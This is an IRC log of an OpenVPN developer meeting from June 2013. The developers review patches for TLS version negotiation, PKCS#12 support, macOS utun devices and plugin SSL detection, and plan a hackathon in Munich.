feature gaps between the SSL implementations 07:35 < Hes> ssl_polarssl.c currently doesn't implement PKCS#12 at all (the function I touched is empty). I could take a look at it later, if polarssl does have PKCS#12 support. 07:36 <@dazo> duh! right! 07:36 < Hes> The patch does not widen the gap much at all. 07:36 <@dazo> I didn't look inside ssl_polarssl.c until now .... so ... yeah 07:36 < Hes> I would fully support the idea of making polarssl to do that too, since it's a good idea, and I will eventually have some clients saying "it doesn't work for me". :) 07:38 <@dazo> sure, no problem ... I just had forgotten the detail of missing pkcs#12 support in polarssl 07:38 < Hes> Took a quick look at polarssl docs, seems like no pkcs#12 there. 07:38 <@dazo> right 07:40 < Hes> pkcs#12 is an ugly beast, but it's easier for regular folks to deal with than multiple separate files. And the third-party CA already happens to export those from their software. 07:40 <@dazo> okay, you'll get a feature-ACK from me .... the code itself looks good, but I'm not familiar enough yet with the whole SSL API yet to feel confident now to give a code ACK 07:41 <@dazo> and there I see andj gave a feat-ACK too :) 07:41 < Hes> Thanks for looking into it! 07:41 * cron2_ just wanted to point that out :-) - so obviously everybody is too scared to give a code-ack... :-) 07:41 * dazo hopes syzzer can join the meeting today :) 07:41 <@plaisthos> I am on the same boat 07:41 <@plaisthos> feature ack but I don't understand the code 07:42 <@dazo> If you give me a couple of weeks, I'll be able to read up on these things to dare take the step ... but I don't have enough spare cycles right now :) 07:42 < Hes> I'm slightly worried that openssl's man page might be inaccurate or wrong. :) 07:43 <@cron2_> dazo: if we give you a couple of weeks, you'll find other things... :-) 07:43 < Hes> for SSL_CTX_add_extra_chain_cert that is. 07:43 <@dazo> cron2_: hahaha ... you might be right there ;-) 07:43 <@dazo> it's enough to pick on ;-) 07:43 <@plaisthos> :) 07:44 <@plaisthos> I have one thing on my TODO list that is just WTF?!: 07:44 <@cron2_> yeah, I've been quite busy as well for the last few weeks... 07:44 <@cron2_> my day work is full of WTF 07:44 <@plaisthos> getaddrinfo gives other addresses when aksing for udp socket than asking for a tcp socket on android 07:44 <@plaisthos> and with other I mean none 07:48 <@cron2_> are you also specifying a port *name*? 07:48 <@cron2_> which /etc/services only lists for "tcp" 07:53 < Hes> ah, another feature ack... but but... :) 07:53 <@plaisthos> cron2_: hm that could be strange interaction 07:54 <@plaisthos> but it is a port number 07:56 <@cron2_> plaisthos: in that case, no more weird ideas... 08:16 -!- mattock_afk is now known as mattock 09:26 <@plaisthos> hm forgot to move the inclues 09:26 <@plaisthos> argh 09:26 <@plaisthos> v6 ... :( 09:27 <@dazo> plaisthos: could you in your commit messages, at the bottom add a little revision log? Just a simple line or two summarizing the change 09:27 <@dazo> Otherwise, I'm happy to see the utun discussion :) 09:28 <@plaisthos> dazo: yes sure. at the moment the revision is basically in the mails to Jonathan :) 09:29 <@dazo> plaisthos: yeah, but it's nice to track the history when you don't pay attention to all details in the mails ... and also when we look in the git log in some months or so, and have forgotten all about it :) 09:30 <@dazo> just something like what's in commit eed9b8eec911a26a952f07ad18d4397c334ac089 09:31 <@plaisthos> dazo: will do 09:31 <@dazo> thx :) 09:31 <@mattock> lots of utun patches today :) 09:31 <@dazo> yeah :) 09:33 <@plaisthos> And I somehow broke my regular tun support .... 09:33 <@plaisthos> /Applications/Tunnelblick.app/Contents/Resources/tun.kext failed to load - (libkern/kext) authentication failure (file ownership/permissions); check the system/kernel logs for errors or try kextutil(8). 09:33 <@dazo> :/ 09:39 <@plaisthos> hopefully the last iteration on the patch 09:53 -!- mattock is now known as mattock_afk 10:18 -!- raidz_away is now known as raidz 10:42 <@cron2_> a v3.1? *rub eyes* 10:43 <@cron2_> v6 looks good :) 10:50 <@plaisthos> v3 is the same v2 10:50 <@plaisthos> forgot to commit 10:51 <@plaisthos> tried to hide that be increasing version number 11:02 <@dazo> hehehehe 11:27 -!- mattock_afk is now known as mattock 12:05 -!- mattock is now known as mattock_afk 12:27 -!- mattock_afk is now known as mattock 12:38 * cron2_ is always amazed at the wonders plaisthos can do with git :-) 12:42 <@mattock> cron2: I've had to play with Git Submodules lately 12:42 <@mattock> they're a good way to make repository management even more complex :D 12:43 * cron2_ does not want to know 12:47 <@mattock> well, imagine a Git tree with 30 Git tree in it 12:47 <@mattock> so each Git tree is managed individually, but the parent tree also needs to keep track of the individual trees 12:47 <@mattock> oh, fun 12:48 <@plaisthos> cron2: Ihave s 12:48 <@plaisthos> a nice gui 12:49 <@cron2_> plaisthos: optimized for somewhat fat fingers? "[insert funky whitespace]" "[omit version number]" ;-) *duck* 12:49 <@plaisthos> i am my tablet, everyone has fat fingers on a tablet 12:50 <@cron2_> I was more making fun of your sometimes interesting series of patch versions :-) 12:50 <@plaisthos> ah that that :D 12:50 * cron2_ worked most of last week from the nexus7 - does wonders for "read mail, make mental note, store away", and it's hell on earth to answer anything with more than one line of text 12:53 <@mattock> cron2: +1 (got a nexus 7) 12:54 <@mattock> N900 is so much better for typing, even though the keyboard is very small 12:55 <@mattock> james said he can also attend today 12:55 < syzzer> git submodules are cool! 12:55 <@cron2_> well, yeah, your fingers can feel that they hit one key, not "somewhere in between" 12:55 <@mattock> we're having an internal meeting atm 12:55 * cron2_ is busy ACKing stuff off the meeting agenda 12:57 <@cron2_> mattock: can you add a link to the patch from Kenny Root (Adding support for AED...) to the agenda? 12:57 <@plaisthos> git as a sub module for mercurial is fun too? 12:58 <@plaisthos> Ah Kenny Root, the Google Android security guy :) 12:59 <@cron2_> he is? didn't know that 12:59 < syzzer> plaisthos: okay, that may be pushing it 12:59 <@mattock> cron2: ok 13:00 <@plaisthos> yeah, he helped me with the keystore in 4.1 problem 13:02 <@mattock> ok, meeting time 13:02 <@mattock> Kenny's patch on topic list 13:02 <@mattock> james will be here shortly 13:03 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:03 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:03 <@cron2_> hi james 13:04 <@jamesyonan> hi 13:05 <@mattock> ok, shlal we 13:05 <@mattock> oops 13:05 <@mattock> shall we 13:05 <@mattock> James' set of patches 13:05 <@mattock> have these gotten any review so far? 13:06 <@mattock> oh, topic list here: https://community.openvpn.net/openvpn/wiki/Topics-2013-06-20 13:06 <@vpnHelper> Title: Topics-2013-06-20 – OpenVPN Community (at community.openvpn.net) 13:07 < syzzer> my colleague Joachim and I have already mailed our review comments, focussing on the crypto/tls changes 13:08 < syzzer> maybe go through the patch sets one by one? 13:08 <@mattock> syzzer: patches in a patchset, or patchsets? 13:09 < syzzer> i was thinking patchsets, but patches is fine too 13:10 <@mattock> first patch would be: "Added "setenv opt" directive prefix. If present, and if the..." 13:11 <@mattock> syzzer: do we have email thread links to James' three patches? 13:11 <@plaisthos> I think I have given my opinion via mail 13:12 <@cron2_> mattock: it's all in one mail 13:12 <@cron2_> <51B8CE21.6080203@openvpn.net> 13:12 <@plaisthos> ACK, if we also add a ignore-unknown-option-list option1 option2 for the future 13:13 < syzzer> well, theÅre's http://article.gmane.org/gmane.network.openvpn.devel/7678, which s the mail from James 13:13 <@vpnHelper> Title: Gmane -- OpenVPN Versioning (at article.gmane.org) 13:13 < syzzer> plaisthos: +1 13:14 <@plaisthos> I can do the ignore iption patch as follow up patch 13:16 * cron2_ agrees on the general concept (both "being able to tell old clients to ignore that - nice hack with setenv opt :) - and with ignore-unknown-options for future - no more hacks) 13:17 <@plaisthos> or ignore-option ip-win32 13:18 <@plaisthos> my client has long list of options like this it considers to be able tovsilently ignore them 13:19 * dazo is here ... just didn't pay attention 13:20 <@mattock> just finished reading through the "OpenVPN versioning" email thread 13:20 <@cron2_> the patch for "setenv opt" is nicely trivial and elegant, so code-ACK from me (it does not particularily reduce the amount of magic dust in options.c, but *that* would be much harder, and break compatibility all over the place) 13:22 <@mattock> can everyone live with the current version of "setenv opt" patch? 13:22 <@plaisthos> yes 13:22 <@cron2_> if we do this, it needs to go into 2.3 as well, to be maximally useful 13:22 <@mattock> and add an "ignore-option" patch later 13:22 <@cron2_> yep 13:23 <@mattock> ok, next patch? 13:23 <@mattock> we got plenty, though we also have plenty of weeks left :P 13:24 <@cron2_> lol 13:24 <@cron2_> next patch is the TLS maximum level patch 13:24 <@mattock> yep 13:24 * cron2_ needs to re-read the mail thread 13:26 <@jamesyonan> also added a related patch : https://github.com/jamesyonan/openvpn/commit/d23005413b0e0f28a3c48a6342f494763d5c9b40 13:26 <@vpnHelper> Title: Change to TLS version negotiation patch: remove implicit assumption · d230054 · jamesyonan/openvpn · GitHub (at github.com) 13:27 < syzzer> for starters, a big +1 for enabling tls version negotiation 13:27 <@mattock> it seems TLS version negotiation patch got an ACK from Joachim (final email) 13:28 < syzzer> open question is whether there's a case left fot the or-highest, as rollback attacks are not possible 13:29 <@jamesyonan> or perhaps "or-highest" could be implicit 13:29 * cron2_ feature-ACKs that one, and leaves the code and crypto side to syzzer and joachim 13:29 < syzzer> well, when negotiation is enabled but no min-version is present, or-highest is already implicit 13:30 <@jamesyonan> the issue is what to do if a minimum version is specified but the SSL lib doesn't support it 13:30 < syzzer> I'd say error out 13:30 < syzzer> if an admin is accepting 'or-highest' clients, it could also simply not put min-version in the config 13:31 <@jamesyonan> right, but the point is to avoid erroring out 13:31 <@jamesyonan> but what if a config is distributed without knowledge of which client implementation will be used? 13:32 < syzzer> then the admin would have to choose to either use a min-version, which is the same when putting or-highest in, or no min-version (or no or-highest) 13:32 <@cron2_> to quote from the thread 13:32 <@cron2_> "The overall goal here is to provide tools that allow a controlled 13:32 <@cron2_> rollout of TLS 1.2 that doesn't break any clients during the rollout 13:32 <@cron2_> period, and to upgrade to 1.2 in a way that doesn't create the potential 13:32 <@cron2_> for MiTM version rollback attacks. 13:32 <@cron2_> " 13:33 < syzzer> yup, so during transition there would be no min-version in the config, and TLS itself protects against rollback attacks 13:34 <@cron2_> well, I think James' goal is to only distribute new configs to clients once... 13:34 <@jamesyonan> I think we've largely discounted the risk for MiTM version rollback attacks since we always disable SSL versions below TLS 1.0 13:35 <@jamesyonan> so tls-version-min on client is less important 13:36 <@jamesyonan> but if it _is_ used, then the idea was to combine setenv opt with or-highest to prevent any possibility of erring out when configs are distributed to unknown client implementations 13:37 < syzzer> but what extra does the or-highest offer during this period? 13:37 <@jamesyonan> the guarantee that client won't err out 13:37 < syzzer> wrt to not adding the min-version at all, I mean 13:38 <@jamesyonan> agreed that min-version might not be necessary on clients 13:38 <@cron2_> well, it might not be such a good idea on the server either - if you want 1.2 and your server cannot do that, erroring out sounds like a *good* plan 13:40 < syzzer> I second that 13:40 <@jamesyonan> well that's the point of "or-highest" -- controlling whether the lack of support for that TLS version is fatal or nonfatal 13:40 <@jamesyonan> agreed though that on server, you probably wouldn't use or-highest because you are going to be in control of the config 13:41 <@jamesyonan> but clients are often run with generic configs that are generated by a server provider 13:42 < syzzer> maybe I'm missing something here, but if you don't want to enforce the TLS min-version, why not just leave out the min-version option? 13:43 <@jamesyonan> right, but this is designed for graduated rollouts 13:44 <@jamesyonan> where server is upgraded but it might take months or more to upgrade all clients in the field 13:45 < Hes> I'm missing something here too... so you could add the min-version on the server after the months have passed? 13:45 <@jamesyonan> right 13:45 <@jamesyonan> after you know that 100% of clients have been upgraded 13:46 <@mattock> all this makes sense 13:46 <@dazo> For me, it sounds like having this additional "or-highest" is confusing things .... if you want to set a minimum tls version ... you should know your clients are ready for it, right? At that point you shouldn't care much if there is yet another client which might fail - it just pushes for an upgrade 13:47 <@mattock> dazo: good point... I wonder how clients would upgrade unless they're forced 13:48 < syzzer> and in the mean time, while you're okay with a lower TLS version, you don't push min-version at all 13:48 < Hes> Same here... either you require a minimum version, or you don't 13:48 <@jamesyonan> well if or-highest is removed, then specifying a TLS version not supported will cause a fatal error 13:48 <@dazo> exactly! 13:48 <@dazo> jamesyonan: on the client, I presume? 13:49 <@jamesyonan> yes, on the client 13:49 <@cron2_> I think the missing link is that TLS will (with the patch) negotiate the highest available version anyway, right? So you really don't need this option at all on the client side, unless you don't trust the server - and then you'll know why you have put it in 13:49 <@dazo> I don't see the problem there ... if the client isn't updated, that's basically a mis-configured client 13:49 <@dazo> because when you add tls-version-min, you expect most of your clients to be ready for this 13:49 <@dazo> and that's the turning point 13:50 <@jamesyonan> if or-highest is removed, then there's no way to use tls-version-min on the client with the guarantee that it will make a "best effort" to use a high TLS version without erring out 13:51 <@cron2_> jamesyonan: but shouldn't it make the "best effort" anyway, negotiating the highest common TLS version between client and server (with the TLS changes)? 13:51 <@dazo> And this is where I probably miss the point completely ... if you set a minimum version, there is no upper limit ... it should automatically go for the highest one 13:51 <@cron2_> dazo: setting minimum 1.2 and having an OpenSSL that only supports 1.1 is the remaining issue right now 13:52 < Hes> so, the problem is that the same config files are pushed to all clients, but some clients would not support the required version 13:52 <@dazo> in fact, it should go for the highest one even without tls-min-version indicates .... if you use tls-min-version you require the client supports at least that version 13:52 <@jamesyonan> well suppose that you are concerned about TLS 1.0 because of the never-ending list of vulnerabilities that arise from the MAC-then-encrypt behavior 13:53 < Hes> would it be cleaner to require the minimum version on the server side only, without pushing that setting to the clients? 13:53 <@jamesyonan> so you want to prevent any client or server from negotiating with the peer unless it's at least 1.2 13:53 <@cron2_> jamesyonan: understood, but in that case, do you want a client to stick to 1.0 just because it's OpenSSL is too old? I'd say "no" 13:53 <@jamesyonan> the point of tls-version-min is to force a minimum version, so the connection will fail if that version can't be mutually acheived 13:54 <@dazo> that I agree to :) 13:54 <@cron2_> ... and that would be set on the server, and achieve the desired effect. Right? 13:54 <@jamesyonan> but you want to push out tls-version min to clients in a way that allows for a rollout period 13:54 <@cron2_> why would you want tls-version min on the clients? 13:54 <@dazo> cron2_++ 13:54 <@cron2_> I think this is where we are disagreeing right now 13:54 <@dazo> From an admin point of view ... I couldn't care less about the clients at all. I don't trust my clients, because I don't control them. 13:55 <@dazo> So I want the power from the server side to dictate what the client needs to support 13:55 <@cron2_> as far as I understand, if you have client+server that *can* negotiate higher versions, they *will*, so the option on the client side won't make a difference 13:55 <@dazo> right 13:56 <@jamesyonan> agreed that tls-version-min is less important on clients 13:56 < syzzer> cron2_: yes, that's my understanding too. I could double check with Joachim tomorrow, as he's knows this stuff by heart 13:57 <@mattock> do we have an agreement / list of proposed changes? 13:58 <@dazo> So what I don't grasp then is .... what is the difference between not having 'tls-version-min' at all on the client side, and 'tls-version-min 1.2 or-highest' if the server only supports 1.1? 13:58 <@jamesyonan> but remember that trust goes both ways -- in some cases you might be connecting to a third-party server that you don't completely trust 13:58 <@dazo> sorry, mattock :) 13:58 <@cron2_> dazo: ah, in *that* case, the client would bomb. The "or-highest" would cover the *client* not supporting 1.2 13:58 <@mattock> dazo: I take that as a no :D 13:58 <@cron2_> mattock: not yet 13:58 <@cron2_> but I've been busy to do away the rest of the agenda anyway 13:58 <@mattock> cron2_: excellent, noticed that! 13:58 <@dazo> cron2_: it should bomb in the case of just ''tls-version-min 1.2' 13:59 <@dazo> but it's the semantics around 'or-highest' which confuses me 13:59 <@cron2_> dazo: if the *server* does not support 1.2, it will *always* bomb. But if you do that with a client SSL library that does not support 1.2, "or-highest" will step down to what the client can do (like "1.1") and enforce that 14:00 <@dazo> ahhh! 14:00 <@dazo> I was on the wire the whole time 14:00 <@dazo> okay, now I actually *do* see the point of it 14:00 <@cron2_> I'm not convinced this is a really necessary use case, though, as my rollback would look different - just roll out clients that would negotiate the version, and then enforce it on the server side (only) 14:01 <@cron2_> but I'm not strictly objecting either, as I have little experience with large-scale user bases 14:01 <@pekster> cron2_: I don't get what that gives the power to do that a simple min/max wouldn't; after all, the point of lower boundries is to prevent a MITM downgrade, right? 14:01 <@pekster> You're trusting the *client* to say "my library is too old for 1.2, but I can offer 1.1" -- what stops a downgrade attack that needs <=1.1 from doing just that? 14:01 <@dazo> as f.ex. you have a scenario with many BSD and RHEL clients .... BSD may have upgraded to a newer OpenSSL ... while, pulling OpenVPN from EPEL repositories on RHEL will give you quite new OpenVPN versions ... but the OpenSSL library in RHEL may not support TLSv1.2 14:01 <@jamesyonan> or-highest says that minimum TLS version must be min(argument_given, max_tls_ver_supported_by_SSL_lib) 14:02 <@dazo> and might not ever support it, in that major version of RHEL 14:02 <@pekster> jamesyonan: Oh, max_lib_supported from the local view? 14:02 <@jamesyonan> yes, the client-side SSL lib 14:02 <@cron2_> ah, the confusion starts to clear :) 14:03 <@pekster> Mostly. When used on the server, that is in reference to the client lib's supported version? If so, how is that trusted info? 14:03 <@cron2_> no, when used on the server, it's the server's lib 14:04 <@cron2_> (where I doubt the usefulness) 14:04 <@pekster> kk, now I get it; useful for the edge case then 14:04 <@jamesyonan> basically the optiion is used to give the local SSL lib the minimum TLS version to accept from the peer (if the minimum can't be acheived, then connection aborts) 14:05 <@dazo> Okay, I'm convinced! That's a useful tweak 14:05 < syzzer> I can see the case too now :) 14:05 <@mattock> am I sensing a consensus? 14:05 <@mattock> :P 14:07 <@dazo> I'd say so, mattock :) 14:07 <@cron2_> mattock: as a side note: is buildbot aware of the new git repo addresses? 14:07 <@mattock> cron2: probably not 14:08 <@mattock> depending on whether they pull from GitHub or not 14:08 <@mattock> can't recall 14:08 <@cron2_> buildbot is older than github, so I'd assume "not" 14:08 <@mattock> ok, so is the patch ok as-is? 14:08 <@mattock> cron2: I'll check the Git repo addresses 14:08 < syzzer> maybe extend the documentation on the or-highest? 14:09 <@dazo> syzzer++ 14:09 <@mattock> syzzer: probably makes sense 14:09 <@jamesyonan> make sure to also include related patch https://github.com/jamesyonan/openvpn/commit/d23005413b0e0f28a3c48a6342f494763d5c9b40 14:09 <@vpnHelper> Title: Change to TLS version negotiation patch: remove implicit assumption · d230054 · jamesyonan/openvpn · GitHub (at github.com) 14:09 <@cron2_> I think the documentaiton is quite clear 14:09 <@cron2_> ah 14:10 <@cron2_> I was looking at the commit message, not the manpage, but even the manpage is clear 14:10 <@cron2_> If 'or-highest' is specified 14:10 <@cron2_> +and version is not recognized, we will only accept the highest TLS 14:10 <@cron2_> +version supported by the local SSL implementation. 14:11 <@cron2_> jamesyonan: could I ask you to mail the final result (the two particular commit IDs that we should pull) to the list again? So it's clear "*this* is what goes in" 14:11 <@jamesyonan> sure 14:12 <@cron2_> the second one is hidden in the middle of the thread, which is sort of hard to reference 14:12 <@mattock> \o/ 14:12 <@mattock> do we have energy for Arne's patches? 14:12 * cron2_ will leave the pulling to dazo anyway :-) but it helps nonetheless 14:12 <@dazo> I won't have much spare cycles for that until next week, but I'll find time for it 14:13 <@cron2_> well, I'm happy to ACK the utun patch as soon as Jonathan confirms that it works for all versions of OSX (which he went out to test already) 14:13 <@cron2_> what I'm not so sure about is "2.3.3" or "2.4-only" 14:13 <@mattock> cron2: ok, so no need to discuss it at the moment 14:13 <@dazo> cron2_: isn't this new feature, strictly speaking? 14:13 <@jamesyonan> question on utun patch: does it support tap? 14:13 <@cron2_> and I'd still support tun.kext, as tunnelblick wants it 14:14 <@mattock> jamesyonan: it's possible that was discussed in the thread... I'll check 14:14 <@cron2_> dazo: I'd consider it a compatibility change for OSX, which is somewhere between feature (2.4!) and bug (2.3 and 2.4)... 14:14 <@cron2_> plaisthos: wake up, question for you 14:15 <@dazo> cron2_: I'm thinking we need some 2.4 goodies too ;-) .... but I won't object to a 2.3 release 14:16 <@mattock> nothing about TAP in utun 14:18 <@mattock> if we release 2.4-alpha1 fairly soon, we could make this 2.4-only 14:18 * cron2_ has no idea - the patch "as coded" will do "something" for "--dev tap --dev-node utun0" but I'm not sure whether that leads to a working tap device, or a confused openvpn. I guess "confused openvpn", as there is nothing to change the mode of utun to "tap" 14:18 <@dazo> I don't think we're there yet at all 14:18 <@cron2_> mattock: at least half a year to go 14:18 <@jamesyonan> if utun doesn't support tap, then we need to make sure that code will fall back to tuntap driver for tap tunnels 14:20 <@dazo> Didn't the utun function just as tuntap? It was just the device creation which was slightly different, using some different ioctl()s? or did I just dream reading that? 14:20 <@cron2_> yep, another clause in that if() - "only try utun for DEV_TYPE_TUN" 14:21 <@cron2_> dazo: "just as tun" with no "tap" - if it could do tap, it would in any case need some sort of "turn yourself into a tap device!" function call, which isn't there today 14:21 <@cron2_> so whatever the device does, we can't access it as tap today 14:21 <@dazo> cron2_: right 14:21 <@cron2_> ok, postponed until we can find this out or fix it :-) 14:22 <@mattock> sounds good 14:23 <@mattock> what about "Fix client-nat only working is also mss-fix is specified."? 14:23 <@plaisthos> cron2: here i am 14:24 <@cron2_> plaisthos: just sent a followup mail to v6 to the list... :-) - so - do you know right away whether utun can do tap? 14:24 <@plaisthos> jamesyonan, cron2: I found nothing but utun doc is sparse anyway 14:25 <@cron2_> plaisthos: in that case, I think we want an extra check that the user really wants an DEV_TYPE_TUN before going to utun 14:26 <@cron2_> (or maybe inside the big if() an "if (!DEV_TYPE_TUN) msg(M_ERR, "don't use tap with --dev-node utun") 14:26 <@plaisthos> so check dev for tun and check dev type too? 14:27 <@cron2_> well, you're not checking "dev" right now, you only check "dev-node" 14:27 <@cron2_> so if dev-node starts with "utun", you go to open_darwin_utun(), no matter what "dev" is set to 14:28 <@plaisthos> cron2: will check again if Ivam atthbe pc again 14:28 <@plaisthos> but I doubt aboit tap 14:28 <@mattock> plaisthos: are you on a tablet atm? 14:29 <@cron2_> plaisthos: thanks. 14:29 <@plaisthos> there some defines for crypto stuff on utun but nothing that suggest tap mode 14:29 <@plaisthos> mattock: yes 14:29 <@mattock> ok, reminded me of my attempts to write emails on nexus 7 :P 14:30 <@mattock> next topic? or next topic next week/meeting? 14:30 <@cron2_> mattock: the process_ipv4_header is... too complicated for me right now - if James and plaisthos agree on either of these fixes, I'm fine with that but I'm too tired to review myself (that code is too complicated for me) 14:30 <@plaisthos> yeah it is a nexus 7 here as well 14:30 <@mattock> very nice tablet, but it seems to "help" too much when typing 14:30 <@mattock> maybe we should call it a day? 14:31 <@mattock> could you guys gather here next week at the same time? 14:31 <@mattock> i.e. meeting next week? :P 14:31 <@jamesyonan> might not work for me next week, but following week is okay 14:31 * dazo too 14:31 <@mattock> the week after next works for the rest of you? 14:31 <@plaisthos> I have the swype keyboard that is better imo but that ias OT at the moment 14:32 <@cron2_> before calling it a day, I want to bring up something I have been toying around with for a while 14:32 < syzzer> I won't be, but the week after is probably fine 14:32 <@mattock> cron2: munich? 14:32 <@cron2_> meeting you all at fosdem was cool, but I really don't like fosdem or brussels, and that particular weekend always conflicts with the munich Go tournament, which is extra annoyance 14:33 <@mattock> I agree Brussels is like "so last season" 14:33 <@mattock> seen it, been there, done that 14:33 <@cron2_> so I thought I would get a conference room with internet access for a weekend, or maybe friday to sunday, on company expenses (well, we're an ISP and have enough rooms, so that is sort of easy) and gather here 14:33 <@cron2_> maybe some snacks :-) (and there's lots of nice restaurants around) 14:33 <@mattock> what does "on company expenses" include? :D 14:34 <@cron2_> "room", "gige internet access", "coffee", at least 14:34 <@cron2_> (including heating!) 14:34 <@mattock> good enough, more than at FOSDEM 14:34 <@mattock> yeah, heating 14:34 <@cron2_> well, the plus of fosdem is "you get to meet non-openvpn people" 14:35 <@cron2_> meeting in Munich only works out if we can get enough "core team" here... 14:35 <@mattock> I have to jump into a freezing lake now 14:36 <@dazo> I might be able to manage that, if we can agree on a date far into the future ... then I can get round-trip tickets for ab €100 14:36 <@mattock> at a summer cottage, no hot water atm 14:36 <@cron2_> anyway, as everyone seems to be asleep already :-) - let's call it a day... 14:36 <@mattock> cron2: +1 14:36 <@dazo> cron2_: I like the idea! 14:36 <@mattock> I'm in also 14:36 < syzzer> ah, yes, mee too 14:36 <@cron2_> ok, I'll decide on a date (November, as this is supposedly somewhat quiet, october is busy for me, september is crazy here with octoberfest) 14:36 <@cron2_> cool 14:37 <@mattock> as dazo said, let's arrange it well in advance so we get cheap flights 14:37 <@dazo> yeah, November time frame sounds reasonable 14:37 < syzzer> although octoberfest is fun too ;) but i agree, november is probably best 14:37 <@cron2_> cool :-) 14:37 <@mattock> syzzer: if we went during the octoberfest, how different would it be from FOSDEM? 14:37 <@mattock> :P 14:38 <@mattock> ok, next meeting the week after next one 14:38 <@cron2_> mattock: much (MUCH) more expensive accomodation 14:38 <@plaisthos> more women? 14:38 <@cron2_> yeah, with drunk women :) 14:38 <@mattock> oh yes 14:38 <@mattock> got to go, talk to you later! 14:38 <@cron2_> dazo: do you have some time left? wondering about the plugin API - can a plugin find out how the openvn process was compiled (polar/openssl) and "compile itself accordingly"? 14:38 <@mattock> good night! 14:39 <@dazo> cron2_: yeah, actually that should be possible 14:39 < Hes> Good night. 14:39 <@dazo> cron2_: as the plug-in doesn't link the SSL library, it uses function pointers already setup by openvpn 14:39 <@dazo> cron2_: at least on Linux 14:39 <@mattock> oh, I'll probably write the summary in Sunday, got plenty of time on the car on the way back home 14:39 < syzzer> cron2_: I've toyed with that and have put it (somewhere at the end) of a todo list to fix, as I believe some stuff fails there 14:40 <@dazo> cron2_: so what actually happened when I tried my eurephia plugin (OpenSSL centric) against a OpenVPN with PolarSSL ... was that the OpenSSL functions was NULL 14:40 <@dazo> result -> SEGV 14:41 <@dazo> so the plug-in can use this SSLAPI constant, to see which SSL functions to use 14:41 <@cron2_> ic, so if you had been the highlevel crypto functions, it would have "just worked" - and this is just a safeguard for plugins that insist on using openssl/polarssl 14:41 <@dazo> right 14:41 < syzzer> stuff like POLARSSL_CFLAGS (or what it's called) seemed not to propagate correctly in the plugin Makefiles 14:41 <@cron2_> dazo: ok, now I better understand what the background is (the previous NACK was just on code silliness) :) 14:42 <@cron2_> syzzer: would the plugin need to know that? 14:42 < syzzer> I never really investigated, but I got some compile time errors, then simply disabled the plugins 14:43 <@dazo> the current compiled plug-ins which is supposed to be packaged and distributed are auth-pam and down-root .... none of them would require SSL stuff at all 14:44 <@dazo> in fact, it's only v3 API plug-ins which accesses the X509 data structs which needs SSL ability 14:44 <@dazo> (which is only used during TLS verifications) 14:44 <@cron2_> ACK sent 14:44 <@dazo> thx! 14:44 <@cron2_> and since you're a big boy, you can do the commit and push yourself :-) 14:44 * cron2_ is tired and would mess up things 14:45 <@dazo> hehehe ... I'll pick it up next week, together with the other boatload of ACKs 14:45 < syzzer> dazo: I would have to look into it again, don't remember exactly what the real issue was 14:45 * cron2_ calls it a day as well... go watch TV, then go to bed 14:45 <@cron2_> *wave* 14:46 < syzzer> yup, me too. good night :) 14:46 <@dazo> syzzer: well, I've gotten my hands dirty in the plug-ins stuff ... so feel free to bug me on that stuff :) 14:48 * dazo heads out too 14:48 -!- dazo is now known as dazo_afk 15:06 -!- mattock is now known as mattock_afk 16:02 <@plaisthos> opening a tun with dev-type tap is backward compatible with open_generic :D 16:03 <@plaisthos> hm 16:03 <@plaisthos> no 16:03 <@plaisthos> I will send a fix tommorow 20:22 -!- raidz is now known as raidz_away --- Day changed Fri Jun 21 2013 00:36 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:18 <@cron2_> plaisthos: thanks :) 02:18 <@cron2_> (I think this is a new record, a v7 of a patch...) 02:24 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 256 seconds] 02:46 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 02:46 -!- mode/#openvpn-devel [+o pekster] by ChanServ 03:20 <@cron2_> so, munich hackaton: october 25-october 27, nov 1 - nov 3, or nov 15 - nov 17? 03:22 <@d12fk> hackathon, it's happening.. way cool 03:22 <@d12fk> did you discuss this yesterday 03:22 * d12fk SCROLLS BACK 03:22 <@cron2_> I mentioned the idea, and people liked it, so I'm starting to organize something 03:24 <@cron2_> http://www.doodle.com/xg3e3ku8b42m2mwn 03:24 <@vpnHelper> Title: Doodle: Munich OpenVPN Hackathon (at www.doodle.com) 03:25 <@d12fk> is that fri - sun or just sat + sun 03:26 <@cron2_> I'll get a room for fri-sun 03:26 <@cron2_> it's a bit more flexible (and more evenings for beer) 03:26 <@d12fk> oh boy, beer again 03:27 <@d12fk> at least less weird ones comared to brussels 03:27 <@cron2_> we do have coffee and soft drinks here :) 03:27 <@d12fk> weisswurstfrühstück ftw 03:30 <@d12fk> will check the dates and file myself 03:30 <@d12fk> hopefully the service can be a topic on that weekend 03:30 <@cron2_> weisswurstrfrühstück sounds like a plan :-) 03:30 <@cron2_> that's part of the plan, yes 03:30 <@d12fk> excellent 03:49 -!- dazo_afk is now known as dazo 03:54 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 03:56 <@plaisthos> okay let get that straigt. We have --dev tunX | tapX, then dev-node /dev/tunX and dev-type tun|tap 03:57 <@cron2_> yep. dev-type is implicit if --dev is "clear enough", but can be forced if you are on linux and want to have --dev MyFunnyDevice0 03:57 <@plaisthos> ah okay with --dev MyFunyDevice0 this actually makes sense 03:58 <@plaisthos> Also openvpn confused by calling open_tun with a parameter dev_type but I really want to look at tt->dev_type ... 04:08 <@cron2_> Linux can have tun devices on arbitrary names, while the BSDs are fixed to tun<number>/tap<number> 04:09 <@cron2_> and on windows, it's the same device, ioctl()ed into tun/tap mode... 05:39 <@plaisthos> diff between patches http://plai.de/.tmp/diffv6v7.diff 05:40 <@plaisthos> !git 05:40 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png 05:53 <@plaisthos> trick question: const char array pointer? 05:53 <@plaisthos> const char* const* ? 06:42 <@plaisthos> Hm .... 06:42 <@plaisthos> MAX_PARMS is defined to be 16 in openvpn 06:42 <@plaisthos> do we need more than 16 options to be ignored? 07:25 <@cron2_> maybe permit multiple instances of that ignore option? 07:26 <@plaisthos> cron2_: yeah. I am doing that now. 